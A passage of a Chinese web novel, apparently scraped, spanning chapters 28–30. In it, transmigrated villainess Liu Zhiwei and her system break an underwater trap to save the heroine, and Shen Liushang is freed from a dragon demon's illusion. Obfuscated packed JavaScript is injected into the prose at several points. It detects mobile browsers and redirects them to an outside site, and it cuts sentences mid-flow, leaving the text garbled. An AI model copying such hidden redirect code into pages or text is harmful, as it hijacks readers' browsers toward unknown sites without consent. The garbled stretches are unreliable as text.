柳知微感觉到柳清圆抱着她,然而却不是往上,而是往更深的水底去。法阵的光芒在她们周围亮起,一道道暗金色的纹路在水流中流转,形成一个巨大的牢笼,将她们笼罩其中。 水下似有人影晃动,有不知是谁的冷厉的声音从某处传来:“收阵!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576316|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳清圆伸手按在阵法中心,掌心力量一吐,河水顿时翻涌如沸。符咒寸寸碎裂,金光明灭不定。 下一秒,她整个人被一股巨力钉在原地,动弹不得。破碎的流光翻卷而起,化作带刺的荆棘,狠狠缠上她的四肢与腰腹。另有几道光束脱离阵法,朝柳知微的方向激射而去。 不过柳知微身上有系统护体,那些光束根本近不了她的身。 但柳清圆这边就没那么幸运了。荆棘越缠越紧,刺入皮肉,血水顺着她的手腕往下淌,在河中洇开一片淡红。她咬紧牙关,正要强行运转灵力反击,余光里却瞥见一个人影正朝她游过来。 柳知微什么也没说,伸手就去扯那些荆棘。一把,两把,刺扎进她的掌心,血珠不断往外冒,她像是完全感觉不到疼似的,只闷头拼命地扯。 柳清圆愣住了。那些荆棘在柳知微的撕扯下终于松动了几分。柳清圆趁着这个间隙猛地挣开束缚,反手一把攥住柳知微的手腕,把她拉到自己面前。 河水在她们之间无声涌动。 柳知微不顾疼痛,只固执地盯着她的眼睛,声音不大,却一字一句说得清楚。 “柳清圆,你是不是重生的?” 她几乎是吼出来的,声音在水里闷成一团。吼完又猛呛了一口水,整个人几乎喘不上气,眼看就要翻白眼沉下去了。 【宿主大大你怎么回事!这些东西是天道不允许的秘密!不能直接说出来的!】 系统在她脑海里慌忙警报,电子乱流杂音太大了,她根本听不到芝麻说的任何话,与此同时,系统给予她的特殊保护也破裂了。 天上骤然炸开一道惊雷。天道规定不允许说出口的秘密,触发了罚则,那一声惊雷是天罚开启的征兆。芝麻在心里暗自祈祷,宿主是真的能挺过这次天道降罚。 雷光劈开水面,整条河都在震颤。河底的阵法在雷击中彻底碎裂,金光炸开,化作无数碎片。 这雷击只是针对柳知微而来,柳清圆跟她靠得那么近都没有受到一点伤害,这也是给予天道之女的庇佑。 随着雷击的加强,那阵法彻底碎裂,二人身上的所有束缚都消失了,而柳清圆身上的伤正在灵力的作用下愈合。 柳知微觉得自己像被塞进了滚筒洗衣机。骨头咯吱作响,内脏挤成一团,疼得她想骂娘,嘴里却只吐出一串血泡泡。她死死抓住柳清圆的手腕,指甲都嵌进了对方皮肉里。 她在心里把自己骂了八百遍。 说好的自私自利呢?说好的只想活命、只想完成任务、只想拿奖金走人呢?怎么一看见柳清圆要遭殃,脑子还没转,身体就先冲上去了?还主动去踩天罚的雷,借天道之力破阵? 柳知微救完人就开始后悔了。 有病吧……她图什么?图女主事后一句“多谢”,还是图天道给她发朵小红花? 她想来想去,只觉得大概是自己当炮灰当出了肌肉记忆。女主那边一有危险,她这具身体就跟条件反射似的扑上去了,跟脑子一点关系都没有。一定是天道按照“主角遇险,炮灰挡枪”的原则又编排了她!可怜她转正了都没法逃离天道的魔爪! 春日宴那次柳清圆落水她不受控制跳下去把人捞上来,现在又被天道逼着遭雷击去救女主,她这牛马生活也真是够了! 救女主这种活儿,不应该是天道亲自动手的吗?柳清圆可是你亲闺女啊,天道!你一个当妈的不管,让我这个恶毒女配来?脸呢?! 柳知微浑身都在发抖,已然神志不清了,但她还死死抓着柳清圆的手腕不放,试图将雷击之力引向对方,借机将女主电死,以此报复天道。 柳清圆手腕渗血,却毫不在意。她松开被钳制的手,转而捧住柳知微的脸,吻上那双因恨意而发颤的唇,将灵力渡了过去。 柳知微瞳孔地震!在柳清圆动作之时,她很快发觉自己身上的痛意瞬间消散,被雷劈懵了的意识尚未回笼,柳清圆已往后退开,转而将她抱起,破水而出。 岸上,柳清圆松开她,指尖拂过她的脸颊,唇边挂着浅淡笑意。掌中一只黄毛小兔被法术困住,垂着耳朵瑟瑟发抖,这便是那幕后黑手了。 柳清圆低头,在她眉心落下一吻,语气轻柔:“莺莺,姐姐给你赔罪了。” 而在这时,水面上再次出现变故,周围的人影四散奔逃,画舫顷刻间便成了碎片,并且忽然腾空而起一个庞然大物,一道禁锢法阵从天而降,随之响起的是一道清朗的男声。 “阵起,封!” 来人竟是纪春洲。 28. 镜中窥花花不语 他猛然睁开眼,耳边似乎还有浪潮未退,浸润沙砾。眼角一滴泪无声滑落,在锦缎枕面上洇开深色水痕。 窗外,苍山残阳如血,将竹舍映得一片昏黄。沈流商勉强撑起身,锦被滑落,露出单薄的中衣。床边小几上摆着个白瓷药碗,碗底残余的药汁微微荡漾。 有人刚离开不久。 他试着开口说话,身上却传来撕裂般的灼痛,喉间腥甜上涌,一口鲜血咳在掌心,映着苍白肤色,格外刺目。 沈流商只记得自己下山游历,被妖物追杀到力竭。再醒来时,他已躺在竹屋的榻上,身边多了一个唤他“夫君”的姑娘,据说他们已经拜过堂,成过亲。 虽然疑点还在,但每次谢姑娘望向他时,眼里都藏着深情和小心翼翼。这些天她照顾他,无微不至,他实在没法继续怀疑什么。反倒觉得自己像个白眼狼,人家一片真心,他却恩将仇报。 沈流商胸口一热,血便涌了出来。他撑在床边想稳住身子,却没能撑住,被面上、地板上,星星点点全是殷红。他原以为自己好了,想下床去看看谢姑娘,结果这一闹,倒把屋外打盹的她惊醒了。 谢姑娘脸上常年蒙着面纱,说是遮疤。可露出来的那半张脸,眉眼生得极好看。沈流商总觉得在哪见过。他想,自己八成真有过妻室,只是忘了,只剩她一个人熬着,实在是负心。 她叫谢济泫,说话秀气,走路也轻,只是骨架大了些,比沈流商还高出半个头。沈流商不是没疑心过她是男人,可一听她说话,一看她那双眼睛里的情意,再想想自己欠她的,便把疑心压了下去,姑娘家魁梧些很正常嘛,不能这么猜人家。 谢济泫推门进来的时候,沈流商跪在地上,正艰难地伏着床榻边咳血。 暗红的血溅在青砖地上,触目惊心。谢济泫脸色骤变,三步并作两步冲过去,将人扶回床上。他手忙脚乱地替沈流商掖好被角,又转身去收拾那摊血污,蹲在地上时,眼泪终于没忍住,一颗一颗砸进血水里。 “夫君,你可不能再丢下我了。”谢济泫声音发颤,起身回到床边,握住沈流商的手,十指紧紧扣在一起,“我等了你许久。我们拜过天地的,说好了要长长久久。” 那话说得情真意切,任谁看了都要动容。可沈流商心里却莫名泛起一丝古怪。他说不上来哪里不对,只当是自己失忆后留下的空白,便压下那点疑虑,也回握住她的手。烛光下,两人四目相对,倒真有几分鹣鲽情深的模样。 谢济泫眨了眨眼,灰蒙蒙的眸子里盛满了光:“夫君,不要再离开我了,好吗?” 沈流商张了张嘴。他知道自己该说“好”,可那个字卡在喉咙里,怎么也吐不出来。谢济泫的目光灼灼,他却不敢直视,偏过头去,支支吾吾:“我……” 话音未落,又一口血涌上来。 沈流商竟隐隐有些庆幸这口血。他用掌心捂住嘴,血从指缝间渗出来,滴滴答答落在被褥上。而就在这一刻,他瞥见谢济泫的脸上掠过一丝异样,那张温柔的脸像水面起了涟漪,有什么东西在底下翻涌,又被死死压住。 谢济泫颤抖着握住他沾满血污的手,贴在自己脸上,像只小动物似的蹭了蹭他的掌心。 “夫君,素鳞……”她的声音低下去,像是在哄,又像是在求,“答应我吧。说一声好,哪怕是骗我的呢。” 她的手缓缓上移,抚上沈流商的喉结,动作依然轻柔,却分明掐住了要害。那纤细的脖颈就在她掌中,她轻轻摩挲着,灰蒙蒙的眼睛里渐渐泛出红光。 沈流商想退,身体却像被钉在了床上,倒像是被施展了定身的法术。他眼睁睁看着谢济泫的灰眸一点点变成血瞳,那双眼睛里依然盛满了依恋,可配上那血色,只剩下病态的、令人毛骨悚然的瑰丽与惊骇。 烛火猛地一晃,那面纱被谢济泫扯下,他的脸上浮现出暗紫色的纹路,像瓷器碎裂后的裂纹,从眼角蔓延到下颌。她掐着沈流商脖子的手指也在变成半透明的锐爪。 谢济泫低低地笑了,笑声从喉咙里挤出来,沙哑而缠绵:“明明只差一点了……怎么就骗不到你呢?” 沈流商一怔。 那一瞬间,像有人在他脑子里炸开了一道口子,所有的记忆排山倒海般涌回来。他想起来了。这些天他根本不是活在什么太平人间,他的魂魄被谢济泫困在了这镜花水月的幻梦里。那些话本里才有的离奇事,他一桩桩一件件被谢济泫安排着都经历了。而谢济泫,这个口口声声唤他夫君的人,就是要哄他心甘情愿地留在这里。 沈流商后背一阵发凉。 完了。不知道他的头七过没过。若是过了,他怕是再也回不去了。 就在他失神的刹那,谢济泫抬起眼,紫纹已蔓延至眼尾,瞳孔缩成一道危险的竖线:“计划有变,但也不失为一个好机会。” 下一刻,谢济泫的视线微微下移,落在了沈流商的手腕上。 方才挣扎间,衣袖滑落,露出一截手腕。腕上那道赤色绳纹般的胎记,是沈流商与生俱来的印记。算命人说,这是前世的业债未消,今生怕是要以身相抵。沈家为此举家避往江南,足足十年,才敢重返京城。 谢济泫看着他,唇角的笑意深了几分,深不见底的眸子里掠过一丝幽光。 周围的场景彻底褪去,他们置身于一艘画舫,却是在一处狭小的底舱。沈流商发现自己已不再是那副猫身,身体依然轻飘飘地浮着。他抬手摸了摸自己,发觉自己原来还是灵魂体,还没有回到身体里。 这间底舱隔绝了月光,黑暗包裹了所有。谢济泫换了一身黑衣,身上带着清冽的水汽和淡淡的药草香,仿佛仍是幻境中的那医者。他手里端着一只白瓷碗,碗里是腥红的血。 他的目光落在缩在墙角的沈流商身上,平静无波。 沈流商的心脏疯狂跳动,几乎要撞破胸腔。他下意识地想后退,却被那无形的压力钉在原地,连指尖都无法动弹。 谢济泫迈步走近,在他面前停下,微微俯身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576317|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 阴影笼罩下来,带着那股清冽的药香,还有更深沉的压迫感。 沈流商被迫仰起头,对上那双幽深的眼睛。他屏住呼吸,看着谢济泫将药碗递到他的唇边。 “你要干什么……”沈流商抿紧嘴唇,身体向后缩去,几乎要哭出来了,“我告诉你,我不会放过你的,你等着……” 谢济泫的眼神倏地冷了下去。他伸出手,冰冷修长的手指轻而易举地捏住了沈流商的下颌他闷哼一声,嘴唇被迫微微张开。 谢济泫手腕微倾,温热的血灌进沈流商嘴里。 沈流商猛地挣扎起来,喉咙里发出抗拒的呜咽。可他越是挣,谢济泫扣得越紧,那血还是顺着喉咙往下淌,一路烧进胃里。 谢济泫终于松了手,从袖中抽出帕子,不紧不慢地擦着手指。 “你给我喝了什么?”沈流商声音发哑。 谢济泫没答话。他抬手一击,舱壁应声裂开,河水哗地涌进来。船身剧烈一晃,外面顿时炸开了锅,有人在喊船破了,有人在喊河灯灭了,还有人尖声叫着天雷来了,乱成一团。 谢济泫回过身,一把撕开沈流商的前襟。布料碎裂的声音在嘈杂中格外刺耳。 沈流商瞳孔一缩:“你竟敢——” 他低头,看见自己心口处蜿蜒出一条银色的小鱼,正在缓缓游动。 谢济泫咬破拇指,沾着血,在他胸膛上画起来。血触到皮肤的瞬间,沈流商清楚地感觉到有什么东西正顺着那符文一寸寸往灵魂里深处去。而那银鱼咒纹忽然活了过来,竟开始吞噬谢济泫的血咒。 “借月之灵气,以我之血为引,结契。”谢济泫的指尖停在他心口,激起一阵颤栗。 沈流商还没反应过来,谢济泫已经扣住他的手,灵力化剑,贯穿了两人十指相扣的掌心。 剧痛传来的同时,星光汇成灵光,一簇银白花树在他们交握的掌心中盛放。柔光流转间,疼痛转瞬即逝,沈流商感到浑身轻盈,仿佛感知到人间万物的生生不息。 好似山雪河冰破,天然始自流。 谢济泫唇角溢出血来,随手用手背擦去。他松开手,居高临下地看着沈流商。 “我把灵力注进你的脉络里了。这契约会把你的魂魄和我系在一起。”他声音很轻,“只要我不死,你就会没事的。” 沈流商猛地侧过头咳起来,眼角逼出生理性的泪。他抬眼看谢济泫,语气讽刺:“不就是你惹出来的麻烦?从头到尾让我有事的不是你?怎么,我还得跟你说声谢?” 谢济泫垂下眼,睫毛在眼下落了一片阴影。他没接话,抬手变出一枚残缺的玉珏。 “素鳞你看,‘祝东风’我还保存得好好的,就是为了这一天。” 指尖灵光一闪,那玉珏活了过来,模样比巴掌还小,几分神似谢济泫。它灵巧地攀上沈流商的肩,亲昵地蹭了蹭他的头发。 沈流商浑身一僵:“你又在胡言乱语什么?”鸡皮疙瘩起了一身。 29. 天道这个恶婆婆 谢济泫却并不理睬,把祝东风塞进他怀里,自顾自说下去:“放心好了,它会护着你。我不在的时候它会替我陪着你的。” 沈流商下意识接住。那傀儡娃娃缩在他掌心,做出了一副哭唧唧的表情,慌慌张张地朝谢济泫伸手,沈流商只觉得烫手得很,这娃娃更是古怪吓人,他琢磨着把它丢哪儿比较合适。 谢济泫忽然低下头,把脸埋进沈流商颈窝里,鼻尖若有似无地蹭过他的锁骨。他整个人都偎了过来,像一团阴翳似的缠上沈流商的身体。沈流商被定在原地动弹不得,这玩意儿靠过来的时候,他眼底满是嫌恶和惊骇。 “对不起……”谢济泫的声音闷闷的,湿热的气息全扑在他颈侧,“我太笨了,我……我当时不知道是你,后来啾啾告诉我,我才知道的。” 沈流商浑身僵硬。对方的嘴唇几乎贴上他衣领里的皮肤,说话时气息一阵一阵地扫过那里。他耳根发烫,心里大骂定身术,却根本搞不清自己想躲开到底是因为生气,还是因为靠太近了让他不自在。 “你别生我的气了好不好?”谢济泫的手掌不知何时贴上了他的腰侧,将自个儿揉进他的怀里。沈流商的心跳突然快了起来,连他自己都觉得丢人。 “我把我的心赔给你,好不好?” 谢济泫越抱越紧,沈流商猛地闭上眼,所有拒绝的话全堵在喉咙里,全变成了骂自己糊涂的。 船身裂得更开了。谢济泫缓缓起身,回头看了沈流商一眼。月光落在脸上,衬得他那双眼含了层迷蒙的水光。 沈流商捧着哭唧唧的祝东风,身影消失在传送阵里,阵法将他送到了岸上的安全地带。 乌云吞尽月光,裂船浮于水面之上。谢济泫立在那里,雷声隆隆滚过水面,每道闪电都像天罚劈向画舫,也劈亮他那双血瞳。 他原是吞了那只花妖,想借它的本事造一场镜花水月。这七天里,他在幻境里和沈流商经历了许多话本里的事,可沈流商没有一丝一毫喜欢上他,反而更加厌恶他这骗人的手段。 如今是沈流商头七,他必须有所行动了。他存着私心,借着今夜的月华之力与沈流商结下血契,足以吊着他一口气了。 可这还不够,他要以他的心为媒介,让素鳞消气,从此素鳞的一切喜怒哀乐他都能感受到,他的命也将和他彻底绑在一起。 隗术让他和柳清圆记忆共通。他看见阿毓为救柳清圆,喂了她半颗心。这虽是如梦似幻,但他知道了,这样能让人生出情意。他要把自己的心赔给素鳞,千年前就是这样,赤金之心因他而生,如今他也要把这颗心赔给他。 谢济泫的眼神暗下去,他的意识正在被压下去。柳清圆就在附近,隗术的反噬他快要扛不住了,很快他就会变回那个话都说不清楚的阿济。 天雷阵阵,他的瞳孔开始收缩,竖成一条细线。四肢扭曲变形,骨骼咔咔作响。衣袍碎裂,一条银白色的龙身从碎布里显露出来,鳞片在月光下泛着光。 但那龙太小了,额上甚至没有角,显得徒有其表,再加上那双象征不详的血瞳,反而更像条蛇。 雷声炸响,河水哗啦。谢济泫化出原形后,软塌塌地趴在一块浮木边,竖瞳委屈巴巴地望着远处的沈流商,像受了委屈要糖吃的孩子。 沈流商怔在原地。世人所见画中龙腾九霄,传说皆道龙主风雨,那些生灵端坐于云巅,鳞甲如金,眸如赤金,仿佛天地都该向它们俯首。 可眼前这一条,蜷在血泊里,鳞片剥落,骨节错位,连呼吸都断断续续。而那双血瞳里只有一种快要熄灭的、湿漉漉的光,像风雨里濒死的幼兽,正拼尽最后一点力气望着他。 “你果然是……”沈流商骂了一句,声音却在发抖,“你是一个妖怪。” 小白龙张了张嘴,只挤出一声低哑的呜咽。又一道闪电劈开天幕,惨白的光照亮它颤抖不止的身体。雷击接二连三地落下,因为它分摊了伤害,劈向水面的雷确实少了许多。小白龙无力地垂下头,下意识地把尾巴紧紧缠绕在一起,仿佛这样能减轻一点疼痛。 沈流商现在是灵魂体,又被定身术定住,动弹不得。外面的人看不见他,只有怀里那个小布娃娃眼里蓄满了泪。这时上空忽然传来喧哗。 “妖气!这里有妖气!” “快!布阵!” 火光涌进来,人影晃动。沈流商心头一紧。缉妖司的几人冲过来,法器泛着冷光,而为首那人从天而降,一道强大的阵法直直压向谢济泫。 “阵起,封!拿下妖物!” 沈流商有些不受控制地开口:“等等……” 法器砸在谢济泫身上,疼得他蜷缩起来,银白的鳞片上绽开一道道血痕。他一点也不反抗,就那么生生挨着受打,只是用那双竖瞳望着沈流商。委屈又无助,像一条被遗弃的狗。 好像谢济泫就是要故意受这些伤,为了沈流商消气,也为了借外力让自己重伤。 阵法压下来的一刻,那条小白龙终于撑不住了。它吐出一颗金色的心来,那颗心立刻化作一道金色流光,无视一切攻击,径直探向宁都侯府。 沈流商的灵魂忽然开始变得坚固起来,祝东风缩在他手里,眼泪啪嗒啪嗒砸在他手上,却因法术无法离开他半步。它指引着沈流商,催促他念起法咒,让灵魂归体。 沈流商心中猛地一跳,眼神有些呆滞。他张了张嘴,不知该说什么,最后只吐出两个字:“……疯子。”然后他的灵魂便消失在了原地。 …… 柳知微被捞出来后在柳清圆的怀里彻底瘫了,像一块被泡软的酥饼,被天雷劈懵了的脑袋还没完全清醒过来。她余光瞥见水面轰然炸开,一条龙湿淋淋地蹿出来,脑子当场短路了。 柳知微艰难地张口,脸上灰头土脸的,气若游丝,仿佛下一秒就要晕过去。柳清圆赶紧凑过去,怜惜地握住她的手,柔声安慰:“别怕,有我在,你不会死的……” 只听柳知微用尽最后一丝力气,吐出一句:“妈呀,活的奶龙,好大一条。” 系统:【……】 柳清圆:“……” 纪春洲也到了,缉妖司的人正跟那小龙缠成一团。但那小龙不知是犯了什么倔,明明被打得节节败退,却偏不躲不闪,像是上赶着挨揍似的。而柳清圆刚刚抓住的那只黄色小兔,正在她手心里瑟瑟发抖,在法咒里死命地乱撞,然后把自己撞晕过去了。 柳知微:“……”她抬眼对上柳清圆的视线,这才终于回过神来。水底下那一幕还历历在目,她甚至怀疑是天雷把她劈出了幻觉……女主居然真的喜欢女的,还连装都不带装的!这人设崩得都快没边儿了,就算以后发展到和恶毒女配私奔估计也不算跑偏了吧? 事态十分严重,柳知微即将面临失业危机,她偏过头捂住额头,表情痛苦得很。说来奇怪,跟柳清圆亲过之后,身上的伤好像真的没那么疼了,但她还是硬撑着摆出一副随时会晕过去的样子。 她睁开眼再看柳清圆时,眼神已经彻底放空, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576318|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像魂魄才刚归体一般:“咦,大姐姐你怎么在这儿?不是约好了明天去明月楼吗?我怎么在这儿……哎呀头好痛,什么都不记得了!” 系统:【……】行吧,宿主大大不尴尬,尴尬的就是别人。 柳清圆看着她这番拙劣得令人叹为观止的表演,唇角微微颤了颤,终究没拆穿。她只是将柳知微轻轻拢进怀里,一下一下抚着她的发顶:“二妹妹别怕,痛痛飞,痛痛飞。” 柳知微脑子“嗡”的一声,彻底转不动了。她一把将面前的人推开,仓皇拉开距离,撑着地面想要站起来。 可这次天道的惩罚来得太狠,雷劫差点把她的小命都劈没了。她才刚直起身,眼前就一阵发黑,身子摇摇晃晃,眼看又要栽倒,结果又跌回了女主怀里。 柳知微:“……”两人肌肤相触的瞬间,她脑子里仿佛又炸开了方才那轰轰烈烈的天雷。 她当过10086世的恶毒女配,什么离谱场面没见过?可这一次女主和女二,真真切切地亲上了,嘴对嘴那种。 要不是她赶在这个世界转正了,柳知微今天恐怕真要被天道当场抹杀。世界对已经转正的穿越者有一套“优待原则”,会借剧情之手,替他们减掉本该承受的惩罚。比如这次,天道便让那条龙凭空现世,替她挡下了大半雷击,顺势把这桩意外塞进了“剧情正常发展”的框架里。至于缉妖司那拨人从天而降,也不过是天道为了遮掩这场真正的天雷,临时强塞进来的一出戏罢了。 柳知微根本消化不了这个事实,两眼一闭直接在柳清圆怀里装死,然而她依旧心慌不已。 这一单要是拿不下来,剧情走不完,虐恋度降不下去,女主成不了神,那她就没法夺舍,没法完成任务,她恶毒女配的一世英名,就要毁于一旦了!而任务失败的下场,就是被强制打回穿越班,再经历三百年高考、五百年模拟的复读折磨! 一想到自己刚转正就失败,转眼又要被拉回去复读,柳知微两腿一蹬,恨不得即刻驾鹤西去。 柳知微头脑风暴以后看看自己的手,现在唯一想打的就只剩下自己的脸了,然后就索性两眼一闭,双手交叠在胸前,打算直接装死,先把当下这关过了再说,她真的快要尴尬地扣出三室一厅了。 江面上那边仍在斗法,那只小龙似乎真的挺不住了,在空中飞舞着躲避攻击,然而最终还是被一张由法咒织成的金线网困住了,而在金线收拢之前,它口中吐出一道金光,径直往天边飞去,之后彻底被金线禁锢,再也不得动弹。 柳清圆低头看着柳知微飙戏,低声笑了笑,而后冷眼旁观着那边的战局,她似乎能感知到一点异动,似乎那灵物是有与她法术本源相关的气息。 “那金光……这是要送去宁都侯府沈家?看来不需要我再下功夫了。”她内心思忖着,不经意地偏头看向岸边不远处的一块地方。那地方空无一物,但是她的直觉是不会错的,方才那里肯定有过法术波动。 “莺莺,你可要好好的,姐姐有好多话要跟你说呢。”柳清圆撩起柳知微一缕湿透的发丝,在手中摩挲着,然后意味不明地冷哼两声。 系统尖叫:【啊啊啊宿主大大,她好像要吃了你!还亲了你的头发!】 柳知微:“……”她都装死了还逃不过这一劫嘛! 识海里,柳知微和芝麻颤抖着抱在一起,倒真是像一对难兄难弟,两人眼里都是哭唧唧的,包了一汪泪水,外加哀嚎不已。 天道你这个恶婆婆!你女儿疯啦! 30. 也向风雨也向晴 【花妖副本修复世界bug?与女主一同破除花妖幻境?隐藏剧情关键剧情点已全部解锁?沈流商已获救,“赤金之心”已自动融入沈流商体内。】 【花妖支线任务圆满完成,奖励积分+5000,结算积分:5050。因违反世界规则,遭受雷击惩罚。检测到宿主故意利用雷击击碎阵法,钻规则漏洞,总部红牌警告一次。警告累积三次将遣返穿越班复读。宿主救了女主,推动剧情偏离正常走向——特奖励宿主一个“大大的女主”!】 柳知微一把揪住芝麻的狗脸,在识海里咬牙切齿:“你再说一遍?” 芝麻哭唧唧:【女主……女主性格崩坏线索一条。】 柳知微双手抱胸,翘着二郎腿躲在识海里不肯出去,就逮着系统折腾。她把芝麻私藏的小吃翻了个底朝天,自己坐在女王座椅上,头上还顶着皇冠。芝麻变成一只柴犬,老老实实蹲在旁边,头顶一碟糕点,略带委屈。柳知微捏完它的脸,就吃口糕点消消气。 芝麻暗自嘀咕:这尊大神什么时候才肯出去? 柳知微又捏住它的狗脸:“你说什么?这是我的识海,你还想撵我?” 系统:【……】忘了,它本来就是依附宿主灵识存在的。 看柳知微一脸不善,芝麻一咬牙,不能再这么怂下去了。为今之计只有—— 芝麻扬起笑脸,冲柳知微卖萌。它现在外形是柴犬,小天使谁不爱呢? 【宿主大大别生气了嘛,芝麻给你摸摸。】 柳知微这才满意了:“乖狗狗~” “你说女主性格崩坏线索是什么?”她想了想又问,“女主黑化成大女主复仇才对吧,怎么崩成这样?女主跟女配嘴上了,这合理吗?” 芝麻暗喜,但不敢表现太明显,装出一副气愤的样子:【宿主大大这次任务完成得非常完美!虽然天道不当人拿雷劈咱们,但宿主大大聪明绝顶,反借天道之力破阵,得到了女主性格崩坏的具体表现。俺们这边申请到了权限,可以从女主视角回溯哦!】 柳知微这才觉得这系统还有点用。她叹了口气,看向面前那块蓝屏。现在“柳莺娘”的身体正因阵法波及而虚弱不堪,外界看她奄奄一息昏迷不醒,其实她正在识海里嗑瓜子、跟系统抢吃的。 转正后有规则保护,天雷的伤对她来说几乎没造成什么持久伤害。但柳知微就想赖在识海里。这些天她透过蓝屏看见,柳莺娘被柳清圆送回来后,对方就日日守在床前。明月楼那些她带去的仆人,居然都安然无恙回来了,连贴身伺候的张嬷嬷也是,所有人都失去了那天的记忆。好像柳知微和柳清圆从来没去过明月楼似的。柳知微猜测这是世界自动修正,这些npc的记忆对剧情影响不大,随便改改也不会出问题。 而柳清圆更是不装了,想来就来,旁边的仆从对她毕恭毕敬。柳知微还纳闷那个便宜爹怎么没趁机来幸灾乐祸,好像柳清圆一下子成了世界真正的掌控者,柳府上下的一举一动都由她操控。 柳知微心脏猛地一缩,声音都有点发紧:“芝麻,你说……柳清圆会不会已经在往概念神的方向走了?就是那种,跟天道平起平坐的存在?” 芝麻嘴里的糕点直接喷了出来,碎屑落了一地,整只狗都不好了:【我的亲娘嘞!宿主大大您这脑洞也太大了吧?!她要是概念神,还用得着您救?明月楼水下那法阵里她自个儿一巴掌就能把阵法拍碎了!她要是真那么牛掰,您早就被揪出去了!】 柳知微被这个念头吓了一跳,后背隐隐发凉。她深吸一口气,努力让自己冷静下来。 她是穿越班的优秀毕业生没错,还是经历了三百年高考杀出来的,恶毒女配板块实习期干了10086世,可这种级别的bug,她也是头一回碰上。 主角逆袭成概念神这种事,一般只存在于小说里杀妻证道的剧情,又或是发生了任务者死遁未遂这种事故。柳知微在之前穿越班上课的时候确实听说过,穿越部门历史上确实出过一例,听说那次差点把总系统都搞崩了。 后来总系统没办法,直接关闭了所有小世界的大门,三千小世界里的任务者全被困在里面,死了都回不来,不少金牌任务者就这么魂飞魄散了。那事太久远了,柳知微只知道个大概。 柳知微现在就一个想法,别让她赶上第二回。熬了三百年才转正,第一单任务就撞上概念神,这运气也太好了吧?现在根本不是能不能夺舍的问题了,她就盼着女主别再往前走了。真要让柳清圆长成那种程度,她老家都得被端了,她还活个屁? “你说的倒也是……不过万一她真走到那一步呢?到时候总系统都管不了怎么办?”柳知微眯了眯眼,手掌往脖子上一划,“要不咱别走剧情了,先下手为强,直接把女主宰了,我顶上去?” 芝麻吓得狗毛都炸了,嗷地一声蹦起来:【宿主大大使不得使不得!花妖幻境那个bug能随手抹掉,那是因为它就是个配角!女主不一样啊,她是天道亲闺女,在这个世界里放个屁天道都觉得香!咱们这种外来户敢动她,分分钟被判定成bug,直接让这个小世界的天道给抹杀了!】 柳知微直接气笑了:“得,天道是真会玩。一边把女主当亲闺女,一边给她安排满级虐恋套餐,又是渣男虐心又是女配虐身。”她戳了戳自己的脸,“就我这么个小配角,全书台词凑不够二十句,连女主成神篇的边都没摸到,都能把女主欺负成这样。这哪是亲闺女,这分明是充话费送的。” “要我说,这个天道才是最该被抹杀的那个。我要是女主,觉醒第一件事就是反手把天道给灭了。” 芝麻听得狗脸一僵,悄悄缩了缩脖子。好在这是在识海里,天雷劈不进来,天谴也落不下来。它赶紧挤出个憨憨的笑脸,尾巴摇成螺旋桨,凑过去拿脑袋蹭柳知微的手心:【宿主大大消消气嘛~你看你看,我可爱不?】 柳知微被它蹭得没脾气了,顺手撸了两把狗头。 芝麻趁机正色道:【其实这就是咱们穿越者存在的意义呀。女主对自己的人生也不满意,一次次循环,一次次反抗,才会把世界线搅得乱七八糟。她积累的那些不甘和愿力,才会把我们这些任务者吸引过来的。】 【宿主大大,如果没有您的话,柳清圆一个人真的扛得住吗?在您的光环之下,女主屁都不是!】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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当时缉妖司在明月楼布下阵法,结果原统领纪双扉驾驭不住,反被阵法反噬,差点让那妖物跑了。那东西似龙非龙,蛇形盘绕,初步判定是蛟妖,能引天雷,藏于水中。那天乱成一锅粥,幸亏纪双扉的胞弟纪春洲带着缉妖司的人及时布下天罗地网,才没让那妖物逃脱。 蛟妖被抓住后打成了重伤,彻底掀不起风浪了。宁都侯府世子沈流商昏迷到第七天终于醒了过来,幸而安然无恙。纪春洲专门去府上给诊治过,发现沈流商完全不记得昏迷期间发生了什么。他被勾魂那档子事就这么压了下来,只有宋歇和缉妖司内部几个人知道。 倒是封家那倒霉公子,妖毒入体太深没救过来,在明月楼捉得妖孽那天夜里就暴毙了。 柳尚书本来跟封相交好,两家都要结亲家了。可明月楼事后的第二天,不知道哪根筋搭错了,柳尚书上朝直接弹劾封相,当场列了封家十大罪状,墙倒众人推,无数臣子附议。圣上一怒之下下旨抄了封家,判了秋后处斩,诛九族。 